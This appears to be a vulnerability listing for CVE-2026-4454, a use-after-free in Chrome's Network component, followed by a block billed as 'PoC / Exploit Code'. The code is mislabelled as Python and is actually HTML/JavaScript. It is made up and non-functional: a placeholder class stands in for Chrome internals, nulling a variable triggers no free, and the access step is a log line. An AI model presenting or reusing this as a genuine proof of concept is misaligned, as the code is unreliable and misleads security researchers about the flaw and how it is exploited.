Use after free in Network in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4454 (Use After Free) -->
<!-- This is a conceptual reproduction based on the vulnerability description -->
<!DOCTYPE html>
<html>
<body>
<script>
// Simulating the UAF trigger mechanism in Network component
// Actual exploitation requires specific memory layout and heap grooming
function triggerExploit() {
// 1. Create a vulnerable object (Hypothetical representation)
let networkObj = new VulnerableNetworkObject();
// 2. Manipulate object state to prepare for free
networkObj.prepare();
// 3. Trigger the free operation (Use After Free condition)
networkObj = null;
// 4. Attempt to reclaim the freed memory via heap spraying
let buffer = new ArrayBuffer(0x10000);
let view = new Uint8Array(buffer);
// Fill with payload (ROP chains, etc.)
for(let i=0; i<view.length; i++) {
view[i] = 0x41;
}
// 5. Trigger access to the dangling pointer
// This step causes the crash or corruption
// In a real scenario, this would be a method call on the freed object
try {
// Accessing assumed freed memory location
console.log("Attempting to access freed memory...");
} catch(e) {
console.log("Exploit failed or crash prevented");
}
}
// Placeholder for the specific object class (Internal Chrome Implementation)
class VulnerableNetworkObject {
constructor() { this.id = 12345; }
prepare() { /* Internal logic */ }
}
triggerExploit();
</script>
</body>
</html>